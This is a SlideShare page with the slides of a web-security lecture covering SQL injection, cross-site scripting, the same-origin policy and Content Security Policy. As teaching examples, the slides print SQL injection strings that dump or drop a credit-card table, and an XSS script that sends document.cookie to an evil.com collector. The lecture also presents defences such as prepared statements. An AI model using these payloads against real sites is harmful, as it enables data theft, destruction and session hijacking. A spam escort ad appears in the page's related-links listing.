SlideShare a Scribd company logo
1 of 52
Download to read offline
WEB AND
         BROWSER SECURITY
Ben Livshits, Microsoft Research
Web Application Vulnerabilities & Defenses
2


       Server-side woes                 Static client-side
         SQL injection                   analysis
         XSS overview
                                         Runtime client analysis
                                          and enforcement
       Browser mechanisms:
         Same origin policy
         Cross-domain request           Server-side static and
         Content security policy         runtime analysis
         XSS filters on the client
Web Application Scenario
3




                               HTTP REQUEST


               HTTP RESPONSE




      client                                  server
Vulnerability Stats: Web Vulnerabilities Are Dominating



      25

      20

      15

      10

       5

       0
           2001   2002   2003   2004   2005    2006

                  Web (XSS)      Buffer Overflow

                                                   Source: MITRE CVE trends
Reported Web Vulnerabilities "In the Wild"




Data from aggregator and validator of NVD-reported vulnerabilities
Drilling Down A Bit…
6



    The most common published
    vulnerabilities on Web applications
    detailed in the report continue to be Cross
    Site Scripting (XSS) and SQL Injection
    vulnerabilities, which account for 28
    percent and 20 percent of all Web attacks,
    respectively

                              Cenzic vulnerability trend report
7   SQL Injection and XSS
And So It Begins…
8




               Source: http://xkcd.com/327/
SQL Injection Attacks
9


       Attacks a particular site, not (usually) a particular
        user

       Affect applications that use untrusted input as part
        of an SQL query to a back-end database

       Specific case of a more general problem: using
        untrusted input in commands
SQL Injection: Example
10


          Consider a browser form, e.g.:




          When the user enters a number and clicks the button, this
           generates an http request like
              https://www.pizza.com/show_orders?month=10
Example Continued…
11


        Upon receiving the request, a Java program might
         produce an SQL query as follows:
          sql_query
                = "SELECT pizza, quantity, order_day "
                    + "FROM orders "
                    + "WHERE userid=" + session.getCurrentUserId()
                    + " AND order_month= "
                    + request.getParameter("month");


        A normal query would look like:
                  SELECT pizza, quantity, order_day
                  FROM orders
                  WHERE userid=4123
                  AND order_month=10
Example Continued…
12


        What if the user makes a modified http request:
         https://www.pizza.com/show_orders?month=0%20OR%201%3D1
        (Parameters transferred in URL-encoded form,
         where meta-characters are encoded in ASCII)
        This has the effect of setting
                  request.getParameter(“month”)
         equal to the string
                            0 OR 1=1
Example Continued
13


        So the script generates the following SQL query:
                     SELECT pizza, quantity, order_day
                     FROM orders
                     WHERE(userid=4123
                                      )
                     AND order_month=0 OR 1=1

        Since AND takes precedence over OR, the above
         always evaluates to TRUE
          The   attacker gets every entry in the database!
Even Worse…
14


        Craft an http request that generates an SQL query
         like the following:
                  SELECT pizza, quantity, order_day
                  FROM orders
                  WHERE userid=4123
                  AND order_month=0 OR 1=0
                  UNION SELECT cardholder, number, exp_date
                  FROM creditcards

        Attacker gets the entire credit card database as
         well!
More Damage…
15


        SQL queries can encode multiple commands,
         separated by ‘;’
        Craft an http request that generates an SQL query
         like the following:
                          SELECT pizza, quantity, order_day
                          FROM orders
                          WHERE userid=4123
                          AND order_month=0 ;
                          DROP TABLE creditcards

        Credit card table deleted!
          DoS   attack
More Damage…
16


        Craft an http request that generates an SQL query
         like the following:
                  SELECT pizza, quantity, order_day
                  FROM orders
                  WHERE userid=4123
                  AND order_month=0 ;
                  INSERT INTO admin VALUES (‘hacker’, ...)

        User (with chosen password) entered as an
         administrator!
          Database   owned!
May Need to be More Clever…
17


        Consider the following script for text queries:

          sql_query
                = "SELECT pizza, quantity, order_day "
                    + "FROM orders "
                    + "WHERE userid=" + session.getCurrentUserId()
                    + " AND topping= ‘ "
                    + request.getParameter(“topping") + “’”
        Previous attacks will not work directly, since the
         commands will be quoted

        But easy to deal with this…
Example Continued…
18


        Craft an http request where
                     request.getParameter(“topping”)
         is set to
                      abc’; DROP TABLE creditcards; --

        The effect is to generate the SQL query:
                        SELECT pizza, quantity, order_day
                        FROM orders
                        WHERE userid=4123
                        AND toppings=‘abc’;
                        DROP TABLE creditcards ; --’


        (‘--’ represents an SQL comment)
Mitigation? Solutions?
19


        Blacklisting
        Whitelisting
        Encoding routines
        Prepared statements/bind variables
        Mitigate the impact of SQL injection
Blacklisting?
20


        I.e., searching for/preventing ‘bad’ inputs
        E.g., for previous example:
          sql_query
                = "SELECT pizza, quantity, order_day "
                    + "FROM orders "
                    + "WHERE userid=" + session.getCurrentUserId()
                    + " AND topping= ‘ "
                    + kill_chars(request.getParameter(“topping"))
                    + “’”

        …where kill_chars() deletes, e.g., quotes and
         semicolons
Drawbacks of Blacklisting
21


        How do you know if/when you’ve eliminated all
         possible ‘bad’ strings?
            If you miss one, could allow successful attack

        Does not prevent first set of attacks (numeric values)
            Although similar approach could be used, starts to get
             complex!

        May conflict with functionality of the database
            E.g., user with name O’Brien
Whitelisting
22


        Check that user-provided input is in some set of
         values known to be safe
          E.g.,   check that month is an integer in the right range


        If invalid input detected, better to reject it than to
         try to fix it
          Fixes may introduce vulnerabilities
          Principle of fail-safe defaults
Prepared Statements/bind Variables
23


        Prepared statements: static queries with bind
         variables
          Variables   not involved in query parsing


        Bind variables: placeholders guaranteed to be data
         in correct format
A SQL Injection Example in Java
24



       PreparedStatement ps =
                db.prepareStatement(
                       "SELECT pizza, quantity, order_day "
                       + "FROM orders WHERE userid=?
                       AND order_month=?");

       ps.setInt(1, session.getCurrentUserId());
       ps.setInt(2,
               Integer.parseInt(request.getParameter("month")));
       ResultSet res = ps.executeQuery();




                                         Bind variables
SQL Injection in the Real World
   CardSystems was a major credit card processing
    company

   Put out of business by a SQL injection attack
     Credit card numbers stored unencrypted
     Data on 263,000 accounts stolen

     43 million identities exposed
Web Attacker
3


       Controls malicious website (attacker.com)
           Can even obtain SSL/TLS certificate for his site

       User visits attacker.com – why?
         Phishing email
         Enticing content
         Search results
         Placed by ad network
         Blind luck …


       Attacker has no other access to user machine!
Cross-site Scripting
27


        If the application is not careful to encode its output
         data, an attacker can inject script into the output
           out.writeln(“<div>”);
           out.writeln(req.getParameter(“name”));
           out.writeln(“</div>”);


        name:
             <script>…; xhr.send(document.cookie);</script>
XSS: Baby Steps
28




     http://example.com/test.php?color=red&background=pink.
XSS: Simple Things are Easy
29




http://example.com/test.php?color=green&background=
            </style><script>document.write(String.fromCharCode(88,83,83))</script>
Is It Easy to Get Right?
30
XSSED.org: In Search of XSS
31
One of the Reports on XSSED
32
Repro
33
2006 Example Vulnerability
34
2006 Example Vulnerability

1)   Attackers contacted users via email and fooled them into accessing
     a particular URL hosted on the legitimate PayPal website

2)   Injected code redirected PayPal visitors to a page warning users
     their accounts had been compromised

3)   Victims were then redirected to a phishing site and prompted to
     enter sensitive financial data



                             Source: http://www.acunetix.cz/news/paypal.htm
Consequences of XSS
36


        Cookie theft: most common
            http://host/a.php?variable="><script>document
             .location='http://www.evil.com/cgi-
             bin/cookie.cgi? '%20+document.cookie</script>


        But also
            Setting cookies
            Injecting code into running application
            Injecting a key logger
            etc.
XSS Defenses
37


        Simple ones
          Compare  IP address and cookie
          Cookie HttpOnly attribute



        There’s much more to be covered later
Taxonomy of XSS
38




                        XSS-0: client-side
                        XSS-1: reflective

                        XSS-2: persistent
Memory Exploits and Web App Vulnerabilities Compared
39

        Buffer overruns                           Cross-site scripting
            Stack-based                               XSS-0, -1, -2, -3
            Return-to-libc, etc.                      Requires careful programming
            Heap-based                                Static analysis tools
            Heap spraying attacks
            Requires careful programming or       SQL injection
             memory-safe languages
                                                       Generally, better, more
            Don’t always help as in the case           restrictive APIs are enough
             of JavaScript-based spraying
                                                       Simple static tools help
            Static analysis tools

        Format string vulnerabilies
            Generally, better, more
             restrictive APIs are enough
            Simple static tools help
40   Intro to Browser Security
Rough Analogy with OS Design

    Operating system                         Web browser
   Primitives                          Primitives
       System calls                        Document object model
       Processes                           Frames
       Files/handles/resources             Cookies / localStorage

   Principals: Users                   Principals: “Origins”

   Vulnerabilities                     Vulnerabilities
       Buffer overflow                     Cross-site scripting
       Dangling pointer exception          SQL injection
JavaScript Security Model
42

        Script runs in a                 Gives a degree of
         “sandbox”                         isolation
          No direct file access,
           restricted network
           access                         Origin roughly is the
          Is that always enough?
                                           URL, but not quite
                                            If the same server hosts
                                             unrelated sites, scripts
        Same-origin policy                  from one site can access
            Code can only access            document properties on
             properties of documents         the other
             and windows from the           Is the origin always
             same origin                     representative of
                                             content?
Same Origin Policy: Rough Description

   Same Origin Policy (SOP) for DOM:
     Origin   A can access origin B’s DOM if match on
                  (scheme, domain, port)


   Today: Same Original Policy (SOP) for cookies:
     Generally   speaking, based on:
                  ([scheme], domain, path)

                optional
                           scheme://domain:port/path?params
Library Import
44


        Same-origin policy does not apply to scripts
         loaded in enclosing frame from arbitrary site
            <script type="text/javascript">
                  src="http://www.example.com/scripts/somescript.js">
            </script>




        This script runs as if it were loaded from the site
         that provided the page!
Interaction with the DOM SOP
   Cookie SOP: path separation
     x.com/A does not see cookies of        x.com/B

   Not a security measure:
    DOM SOP: x.com/A has access to DOM of x.com/B
        <iframe src=“x.com/B"></iframe>
        alert(frames[0].document.cookie);

   Path separation is done for efficiency not security:
        x.com/A is only sent the cookies it needs
Another Hole: Domain Relaxation
    www.facebook.com                  chat.facebook.com




                   www.facebook.com
                      facebook.com
                                         facebook.com
                                       chat.facebook.com
www.facebook.com
   Can use document.domain = “facebook.com”
   Origin: scheme, host, (port), hasSetDomain
   Try document.domain = document.domain
This is Just the Beginning…
47


        Browser Security Handbook
          ... DOM access
          ... XMLHttpRequest

          ... cookies

          ... Flash

          ... Java

          ... Silverlight

          ... Gears

          Origin inheritance rules
XmlHttpRequest
48


        XmlHttpRequest is the foundation of AJAX-style
         application on the web today
        Typically:
Virtually No Full Compatibility
49




                      Why is lack of compatibility bad?
W3C CSP: Content Security Policy
50

        Example 1: A server wants all content to come from its own domain:
            X-Content-Security-Policy: default-src 'self‘

        Example 2: An auction site wants to allow images from anywhere, plugin content from a list of trusted
         media providers including a content distribution network, and scripts only from a server under its control
         hosting sanitized ECMAScript:
            X-Content-Security-Policy: default-src 'self'; img-src *;
            object-src media1.example.com media2.example.com *.cdn.example.com;
            script-src trustedscripts.example.com

        Example 3: A site operations group wants to globally deny all third-party scripts in the site, and a
         particular project team wants to also disallow third-party media in their section of the site. Site
         operations sends the first header while the project team sends the second header, and the user-agent
         takes the intersection of the two headers to form the complete interpreted policy:
            X-Content-Security-Policy: default-src *; script-src 'self'
            X-Content-Security-Policy: default-src *; script-src 'self'; media-src 'self‘

        Example 4: Online banking site wants to ensure that all of the content in its pages is loaded over TLS to
         prevent attackers from eavesdropping on insecure content requests:
            X-Content-Security-Policy: default-src https://*:443
HTML5 Sandbox
51


     <iframe src="untrusted.html"
          sandbox="allow-scripts allow-forms">
     </iframe>

       allow-scripts

       allow-forms

       allow-same-origin

       allow-top-navigation

       ms-allow-popups
HTML5 Sandbox in Action
52

More Related Content

What's hot

Building decentralised apps with js - Devoxx Morocco 2018
Building decentralised apps with js - Devoxx Morocco 2018Building decentralised apps with js - Devoxx Morocco 2018
Building decentralised apps with js - Devoxx Morocco 2018Mikhail Kuznetcov
 
Watson IoT Platform Embedded Rules Concepts & APIs Overview
Watson IoT Platform Embedded Rules Concepts & APIs OverviewWatson IoT Platform Embedded Rules Concepts & APIs Overview
Watson IoT Platform Embedded Rules Concepts & APIs Overviewsmithson.martin
 
POLITEKNIK MALAYSIA
POLITEKNIK MALAYSIAPOLITEKNIK MALAYSIA
POLITEKNIK MALAYSIAAiman Hud
 
Introduction to Active Record - Silicon Valley Ruby Conference 2007
Introduction to Active Record - Silicon Valley Ruby Conference 2007Introduction to Active Record - Silicon Valley Ruby Conference 2007
Introduction to Active Record - Silicon Valley Ruby Conference 2007Rabble .
 
User Authentication and Cloud Authorization in the Galaxy project: https://do...
User Authentication and Cloud Authorization in the Galaxy project: https://do...User Authentication and Cloud Authorization in the Galaxy project: https://do...
User Authentication and Cloud Authorization in the Galaxy project: https://do...Vahid Jalili
 
Watson IoT Action Manager Concepts & API Overview
Watson IoT Action Manager Concepts & API OverviewWatson IoT Action Manager Concepts & API Overview
Watson IoT Action Manager Concepts & API Overviewsmithson.martin
 
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2Lisa Roth, PMP
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceFelipe Prado
 
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...MongoDB
 
Unethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injectionUnethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injectionSatyajit Mukherjee
 
OAuth 2.0 – A standard is coming of age by Uwe Friedrichsen
OAuth 2.0 – A standard is coming of age by Uwe FriedrichsenOAuth 2.0 – A standard is coming of age by Uwe Friedrichsen
OAuth 2.0 – A standard is coming of age by Uwe FriedrichsenCodemotion
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: Tutorial
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: TutorialMongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: Tutorial
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: TutorialMongoDB
 

What's hot (19)

Building decentralised apps with js - Devoxx Morocco 2018
Building decentralised apps with js - Devoxx Morocco 2018Building decentralised apps with js - Devoxx Morocco 2018
Building decentralised apps with js - Devoxx Morocco 2018
 
Watson IoT Platform Embedded Rules Concepts & APIs Overview
Watson IoT Platform Embedded Rules Concepts & APIs OverviewWatson IoT Platform Embedded Rules Concepts & APIs Overview
Watson IoT Platform Embedded Rules Concepts & APIs Overview
 
POLITEKNIK MALAYSIA
POLITEKNIK MALAYSIAPOLITEKNIK MALAYSIA
POLITEKNIK MALAYSIA
 
Introduction to Active Record - Silicon Valley Ruby Conference 2007
Introduction to Active Record - Silicon Valley Ruby Conference 2007Introduction to Active Record - Silicon Valley Ruby Conference 2007
Introduction to Active Record - Silicon Valley Ruby Conference 2007
 
User Authentication and Cloud Authorization in the Galaxy project: https://do...
User Authentication and Cloud Authorization in the Galaxy project: https://do...User Authentication and Cloud Authorization in the Galaxy project: https://do...
User Authentication and Cloud Authorization in the Galaxy project: https://do...
 
Watson IoT Action Manager Concepts & API Overview
Watson IoT Action Manager Concepts & API OverviewWatson IoT Action Manager Concepts & API Overview
Watson IoT Action Manager Concepts & API Overview
 
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local London 2019: Using Client Side Encryption in MongoDB 4.2
 
Esquema de pasos de ejecución IdM
Esquema de pasos de ejecución IdMEsquema de pasos de ejecución IdM
Esquema de pasos de ejecución IdM
 
Sql full tutorial
Sql full tutorialSql full tutorial
Sql full tutorial
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
Pushed Authorization Requests
Pushed Authorization RequestsPushed Authorization Requests
Pushed Authorization Requests
 
Rich Authorization Requests
Rich Authorization RequestsRich Authorization Requests
Rich Authorization Requests
 
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...
MongoDB .local Munich 2019: New Encryption Capabilities in MongoDB 4.2: A Dee...
 
Unethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injectionUnethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injection
 
Rolebased security
Rolebased securityRolebased security
Rolebased security
 
OAuth 2.0 – A standard is coming of age by Uwe Friedrichsen
OAuth 2.0 – A standard is coming of age by Uwe FriedrichsenOAuth 2.0 – A standard is coming of age by Uwe Friedrichsen
OAuth 2.0 – A standard is coming of age by Uwe Friedrichsen
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: Tutorial
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: TutorialMongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: Tutorial
MongoDB .local Chicago 2019: Practical Data Modeling for MongoDB: Tutorial
 

Similar to 20111204 web security_livshits_lecture01

8 sql injection
8   sql injection8   sql injection
8 sql injectiondrewz lin
 
sql-inj_attack.pdf
sql-inj_attack.pdfsql-inj_attack.pdf
sql-inj_attack.pdfssuser07cf8b
 
Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Ahmed Ghazey
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sqlKaustav Sengupta
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersChema Alonso
 
Securing the Web@VoxxedDays2017
Securing the Web@VoxxedDays2017Securing the Web@VoxxedDays2017
Securing the Web@VoxxedDays2017Sumanth Damarla
 
Owasp top 10 vulnerabilities 2013
Owasp top 10 vulnerabilities   2013Owasp top 10 vulnerabilities   2013
Owasp top 10 vulnerabilities 2013Vishrut Sharma
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresMarco Morana
 
Secure Code Warrior - NoSQL injection
Secure Code Warrior - NoSQL injectionSecure Code Warrior - NoSQL injection
Secure Code Warrior - NoSQL injectionSecure Code Warrior
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacksKevin Kline
 
Seminar2015Bilic_Nicole
Seminar2015Bilic_NicoleSeminar2015Bilic_Nicole
Seminar2015Bilic_NicoleNicole Bili?
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmersrobin_bene
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseNoaman Aziz
 
Protecting Your Web Site From SQL Injection & XSS
Protecting Your Web SiteFrom SQL Injection & XSSProtecting Your Web SiteFrom SQL Injection & XSS
Protecting Your Web Site From SQL Injection & XSSskyhawk133
 
Introducing Stitch
Introducing Stitch Introducing Stitch
Introducing Stitch MongoDB
 
Sql injection
Sql injection Sql injection
Sql injection Aaron Hill
 

Similar to 20111204 web security_livshits_lecture01 (20)

8 sql injection
8   sql injection8   sql injection
8 sql injection
 
sql-inj_attack.pdf
sql-inj_attack.pdfsql-inj_attack.pdf
sql-inj_attack.pdf
 
Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid
 
Sql injection
Sql injectionSql injection
Sql injection
 
Greensql2007
Greensql2007Greensql2007
Greensql2007
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sql
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scanners
 
Securing the Web@VoxxedDays2017
Securing the Web@VoxxedDays2017Securing the Web@VoxxedDays2017
Securing the Web@VoxxedDays2017
 
Owasp top 10 vulnerabilities 2013
Owasp top 10 vulnerabilities   2013Owasp top 10 vulnerabilities   2013
Owasp top 10 vulnerabilities 2013
 
Sql Injection V.2
Sql Injection V.2Sql Injection V.2
Sql Injection V.2
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Secure Code Warrior - NoSQL injection
Secure Code Warrior - NoSQL injectionSecure Code Warrior - NoSQL injection
Secure Code Warrior - NoSQL injection
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
Seminar2015Bilic_Nicole
Seminar2015Bilic_NicoleSeminar2015Bilic_Nicole
Seminar2015Bilic_Nicole
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
 
Protecting Your Web Site From SQL Injection & XSS
Protecting Your Web SiteFrom SQL Injection & XSSProtecting Your Web SiteFrom SQL Injection & XSS
Protecting Your Web Site From SQL Injection & XSS
 
Introducing Stitch
Introducing Stitch Introducing Stitch
Introducing Stitch
 
Sql injection
Sql injection Sql injection
Sql injection
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 

More from Computer Science Club

20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugsComputer Science Club
 
20140531 serebryany lecture02_find_scary_cpp_bugs
20140531 serebryany lecture02_find_scary_cpp_bugs20140531 serebryany lecture02_find_scary_cpp_bugs
20140531 serebryany lecture02_find_scary_cpp_bugsComputer Science Club
 
20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugsComputer Science Club
 
20140511 parallel programming_kalishenko_lecture12
20140511 parallel programming_kalishenko_lecture1220140511 parallel programming_kalishenko_lecture12
20140511 parallel programming_kalishenko_lecture12Computer Science Club
 
20140427 parallel programming_zlobin_lecture11
20140427 parallel programming_zlobin_lecture1120140427 parallel programming_zlobin_lecture11
20140427 parallel programming_zlobin_lecture11Computer Science Club
 
20140420 parallel programming_kalishenko_lecture10
20140420 parallel programming_kalishenko_lecture1020140420 parallel programming_kalishenko_lecture10
20140420 parallel programming_kalishenko_lecture10Computer Science Club
 
20140413 parallel programming_kalishenko_lecture09
20140413 parallel programming_kalishenko_lecture0920140413 parallel programming_kalishenko_lecture09
20140413 parallel programming_kalishenko_lecture09Computer Science Club
 
20140329 graph drawing_dainiak_lecture02
20140329 graph drawing_dainiak_lecture0220140329 graph drawing_dainiak_lecture02
20140329 graph drawing_dainiak_lecture02Computer Science Club
 
20140329 graph drawing_dainiak_lecture01
20140329 graph drawing_dainiak_lecture0120140329 graph drawing_dainiak_lecture01
20140329 graph drawing_dainiak_lecture01Computer Science Club
 
20140310 parallel programming_kalishenko_lecture03-04
20140310 parallel programming_kalishenko_lecture03-0420140310 parallel programming_kalishenko_lecture03-04
20140310 parallel programming_kalishenko_lecture03-04Computer Science Club
 
20140216 parallel programming_kalishenko_lecture01
20140216 parallel programming_kalishenko_lecture0120140216 parallel programming_kalishenko_lecture01
20140216 parallel programming_kalishenko_lecture01Computer Science Club
 

More from Computer Science Club (20)

20141223 kuznetsov distributed
20141223 kuznetsov distributed20141223 kuznetsov distributed
20141223 kuznetsov distributed
 
Computer Vision
Computer VisionComputer Vision
Computer Vision
 
20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs
 
20140531 serebryany lecture02_find_scary_cpp_bugs
20140531 serebryany lecture02_find_scary_cpp_bugs20140531 serebryany lecture02_find_scary_cpp_bugs
20140531 serebryany lecture02_find_scary_cpp_bugs
 
20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs20140531 serebryany lecture01_fantastic_cpp_bugs
20140531 serebryany lecture01_fantastic_cpp_bugs
 
20140511 parallel programming_kalishenko_lecture12
20140511 parallel programming_kalishenko_lecture1220140511 parallel programming_kalishenko_lecture12
20140511 parallel programming_kalishenko_lecture12
 
20140427 parallel programming_zlobin_lecture11
20140427 parallel programming_zlobin_lecture1120140427 parallel programming_zlobin_lecture11
20140427 parallel programming_zlobin_lecture11
 
20140420 parallel programming_kalishenko_lecture10
20140420 parallel programming_kalishenko_lecture1020140420 parallel programming_kalishenko_lecture10
20140420 parallel programming_kalishenko_lecture10
 
20140413 parallel programming_kalishenko_lecture09
20140413 parallel programming_kalishenko_lecture0920140413 parallel programming_kalishenko_lecture09
20140413 parallel programming_kalishenko_lecture09
 
20140329 graph drawing_dainiak_lecture02
20140329 graph drawing_dainiak_lecture0220140329 graph drawing_dainiak_lecture02
20140329 graph drawing_dainiak_lecture02
 
20140329 graph drawing_dainiak_lecture01
20140329 graph drawing_dainiak_lecture0120140329 graph drawing_dainiak_lecture01
20140329 graph drawing_dainiak_lecture01
 
20140310 parallel programming_kalishenko_lecture03-04
20140310 parallel programming_kalishenko_lecture03-0420140310 parallel programming_kalishenko_lecture03-04
20140310 parallel programming_kalishenko_lecture03-04
 
20140223-SuffixTrees-lecture01-03
20140223-SuffixTrees-lecture01-0320140223-SuffixTrees-lecture01-03
20140223-SuffixTrees-lecture01-03
 
20140216 parallel programming_kalishenko_lecture01
20140216 parallel programming_kalishenko_lecture0120140216 parallel programming_kalishenko_lecture01
20140216 parallel programming_kalishenko_lecture01
 
20131106 h10 lecture6_matiyasevich
20131106 h10 lecture6_matiyasevich20131106 h10 lecture6_matiyasevich
20131106 h10 lecture6_matiyasevich
 
20131027 h10 lecture5_matiyasevich
20131027 h10 lecture5_matiyasevich20131027 h10 lecture5_matiyasevich
20131027 h10 lecture5_matiyasevich
 
20131027 h10 lecture5_matiyasevich
20131027 h10 lecture5_matiyasevich20131027 h10 lecture5_matiyasevich
20131027 h10 lecture5_matiyasevich
 
20131013 h10 lecture4_matiyasevich
20131013 h10 lecture4_matiyasevich20131013 h10 lecture4_matiyasevich
20131013 h10 lecture4_matiyasevich
 
20131006 h10 lecture3_matiyasevich
20131006 h10 lecture3_matiyasevich20131006 h10 lecture3_matiyasevich
20131006 h10 lecture3_matiyasevich
 
20131006 h10 lecture3_matiyasevich
20131006 h10 lecture3_matiyasevich20131006 h10 lecture3_matiyasevich
20131006 h10 lecture3_matiyasevich
 

Recently uploaded

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsSnow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsHyundai Motor Group
 
08448380779 Call Girls In Friends Colony Women Seeking Men
